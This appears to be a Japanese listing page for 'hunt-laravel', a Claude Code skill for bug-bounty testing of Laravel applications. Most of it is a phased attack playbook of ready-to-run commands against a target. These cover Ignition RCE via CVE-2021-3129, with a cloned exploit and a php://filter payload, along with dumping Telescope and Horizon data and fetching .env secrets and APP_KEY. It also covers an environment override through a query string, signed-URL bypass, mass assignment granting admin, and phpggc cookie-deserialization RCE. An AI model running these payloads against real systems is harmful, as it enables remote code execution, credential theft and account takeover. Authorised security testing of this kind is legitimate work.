hunt-laravel について
hunt-laravel は、Laravel の脆弱性を調査するセキュリティ担当者向けのスキルです。デバッグモード、管理ダッシュボード、環境ファイル、アプリケーションロジックを対象とし、疑わしい問題が実際のアクセスや権限に影響するか検証します。
主な機能
- 01Laravel とデバッグモードの特定
- 02Ignition の脆弱性確認と検証
- 03Telescope、Horizon ダッシュボードの監査
- 04.env と APP_KEY の露出確認
- 05署名付き URL と Mass Assignment のテスト
- 06Cookie デシリアライズリスクの確認
活用シーン
- 01本番環境でのデバッグ情報露出の確認
- 02Telescope や Horizon 経由の機密データアクセス監査
- 03.env 漏えいと APP_KEY 露出の影響検証
- 04署名付き URL の回避や権限昇格のテスト
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-laravelインストール後、Claude Code で/hunt-laravelを入力して読み込まれたか確認します。
詳細
HUNT-LARAVEL — Laravel 固有の脆弱性
最重要ターゲット
本番環境で Laravel のデバッグモードが有効になっていると、Ignition を介して即座に RCE が可能です(CVE-2021-3129)。
価値の高い発見事項:
- Ignition RCE(CVE-2021-3129) —
APP_DEBUG=trueかつ Laravel < 8.4.2 の場合、認証なしで/_ignition/execute-solutionから RCE が可能 - Telescope ダッシュボード —
/telescopeから、リクエスト/レスポンスの完全なログ、DB クエリ、Redis コマンド、スケジュールされたジョブ、環境変数を閲覧可能 - Horizon ダッシュボード —
/horizonからキュージョブの詳細や、完全なペイロードを含む失敗ジョブ(API キーや PII が含まれる可能性があります)を閲覧可能 - 署名付き URL の改ざん —
URL::signedRouteが誤ったパラメーターを検証する場合、署名付き URL を回避して不正な操作が可能 - .env の露出 —
APP_KEYが漏えいすると、暗号化されたすべての Cookie を復号し、セッションを偽造して ATO が可能
フェーズ 1 — Laravel のフィンガープリント
# Laravel-specific indicators
curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"
# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" != "404" ] && echo "$path: $STATUS"
done
# Check error page (trigger 404)
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"
フェーズ 2 — デバッグモードと Ignition RCE(CVE-2021-3129)
# Step 1: Check if debug mode is enabled (Whoops error page)
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"
# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
# Step 2: Check Ignition endpoint
curl -s "https://$TARGET/_ignition/health-check" | head -5
# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"
# Manual test — send solution request
curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
-H "Content-Type: application/json" \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "x",
"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
}
}'
フェーズ 3 — Laravel Telescope と Horizon
# Telescope — request/response logs, DB queries, jobs, cache, events
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
# Horizon — queue worker dashboard
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens
# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done
フェーズ 4 — .env ファイルと APP_KEY の露出
# Direct .env access
curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl -s "https://$TARGET/.env.production"
curl -s "https://$TARGET/.env.backup"
curl -s "https://$TARGET/.env.local"
# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user
# Also check
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"
フェーズ 4b — クエリー引数による環境の上書き(CVE-2024-52301)
register_argc_argv=On(php.ini)の場合、Laravel はクエリー文字列を CLI 引数として解析するため、HTTP 経由で ?--env= を指定して APP_ENV を上書きし、アプリを local/testing の設定に切り替えられます(デバッグ有効、シード済み認証情報、より弱い保護)。
curl -s "https://$TARGET/?--env=local" # force debug/local config
curl -s "https://$TARGET/login?--env=testing" # swap to testing DB/config
# Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.
フェーズ 5 — 署名付き URL の改ざん
# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="
# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&[email protected]&signature=VALID_SIG"
# Modify user ID → should fail if properly signed
curl -s "${SIGNED_URL/user=123/user=999}"
# Test signature bypass: remove signature entirely
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"
# Test: does the app validate ALL parameters or just some?
curl -s "${SIGNED_URL}&extra=malicious"
フェーズ 6 — Eloquent による一括代入
# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
# Test: add extra fields to update/create requests
# Profile update
curl -s -X POST "https://$TARGET/api/profile" \
-H "Cookie: laravel_session=SESSION" \
-H "Content-Type: application/json" \
-d '{"name": "Test", "email": "[email protected]", "is_admin": true, "role": "admin"}'
# Registration
curl -s -X POST "https://$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{"name": "Test", "email": "[email protected]", "password": "test123", "verified": true, "admin": 1}'
フェーズ 7 — Laravel Cookie のデシリアライズ
# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains
# Get the app key
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64
# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"
連鎖テーブル
| Laravel の発見事項 | 連鎖先 | 影響 |
|---|---|---|
| デバッグモードが ON | CVE-2021-3129 Ignition RCE | 重大な RCE |
| Telescope にアクセス可能 | API キー、DB クエリ、環境変数の読み取り | 高 — 認証情報の窃取 |
| Horizon にアクセス可能 | 失敗ジョブのペイロードの読み取り | 高 — PII/トークンの窃取 |
| APP_KEY を含む .env の露出 | セッション Cookie を偽造 → ATO | 重大な ATO |
| 署名付き URL の回避 | 不正な操作(任意のユーザーの配信停止など) | 中〜高 |
| 一括代入 | is_admin=true に設定 → 権限昇格 | 重大 |
検証
✅ Ignition RCE:id コマンドの出力がレスポンスに返される
✅ Telescope:API レスポンスに、認証情報またはユーザートークンを含む DB クエリが含まれる
✅ APP_KEY:偽造したセッション Cookie が受け入れられ、別のユーザーのプロフィールが返される
✅ 一括代入:is_admin: true が受け入れられ、アカウントに管理者権限が付与される
重大度:
- Ignition RCE:重大
- 機密データを含む Telescope/Horizon:高
- APP_KEY を含む .env:重大
- 管理者への一括代入:重大
コメント
Markdown 対応